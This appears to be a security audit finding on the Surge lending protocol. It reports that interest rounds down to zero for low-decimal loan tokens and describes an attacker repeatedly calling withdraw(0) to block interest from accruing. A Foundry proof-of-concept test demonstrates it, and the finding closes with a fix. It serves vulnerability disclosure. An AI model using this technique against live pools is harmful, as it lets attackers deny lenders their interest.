Tricko

high

# Interest accrued could be zero for tokens with small amount of decimals

## Summary
For loan tokens with small amount of decimals accrued interest can be rounded to zero if the time between accruals is small.

## Vulnerability Detail

If calls to `deposit`, `withdraw`, `repay` or any other method that calls `getCurrentState` internally happens frequently, as expected on pools with many users, the time delta between interest acrruals (`block.timestamp - _lastAccrueInterestTime`) will be small. On this scenario if the lending token has small amount of decimals, the interest (`uint _interest = _totalDebt * _borrowRate * _timeDelta / (365 days * 1e18)`) can get rounded down to zero if the total debt is also small (See Proof of Concept section below). Therefore on those situations, debt positions won't accrue interest, possibly breaking protocol funcionality.

Attackers can exploit this to intentionally block pools with small TVL and loan tokens with small amount of decimals from accruing interest at little cost. Consider tokens like the euro stablecoin EURS, which contains only 2 decimals, an attacker can keep calling `withdraw(0)` at every new block (~12s timeDelta) to block the pool from interest accrual until `_totalDebt` reaches hundreds of thousands to millions euros worth of tokens (exact values depend on the pool configuration)

## Impact
Attackers can exploit this to block debt positions from accruing interest at little cost, breaking protocol funcionality

## Proof of Concept
```solidity
pragma solidity 0.8.17;

import "../lib/forge-std/src/Test.sol";
import "../src/Pool.sol";
import "../src/Factory.sol";
import "../src/PoolLens.sol";
import "./mocks/ERC20.sol";

contract PoolTest is Test {
    Factory factory;
    MockERC20 collateralToken;
    MockERC20 loanToken;
    Pool pool;
    
    uint256 amount;
    address alice;

    function setUp() public {
        collateralToken = new MockERC20(1e36, 2);
        loanToken = new MockERC20(1e36, 2);
        factory = new Factory(address(this), "G");
        pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 1e18, 0.8e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
        alice = makeAddr("alice");

        amount = 1e7;
        loanToken.transfer(address(pool), 10*amount);
        collateralToken.transfer(alice, amount);
    }

    function testPOC() external {
        vm.startPrank(alice);
        collateralToken.approve(address(pool),amount);
        pool.addCollateral(address(alice), amount);
        pool.borrow(amount);
        vm.stopPrank();

        uint256 initialDebt = pool.lastTotalDebt();

        vm.warp(block.timestamp + 12);
        pool.withdraw(0); //Update state
        uint256 firstAccrueDebt = pool.lastTotalDebt();
        assertEq(firstAccrueDebt, initialDebt);

        vm.warp(block.timestamp + 12);
        pool.withdraw(0); //Update state
        uint256 secondAccrueDebt = pool.lastTotalDebt();
        assertEq(secondAccrueDebt, initialDebt);
    }
}
```

## Code Snippet
https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L105-L166

## Tool used
Manual Review

## Recommendation
Consider scaling the token up in order to increase precision during internal calculations.
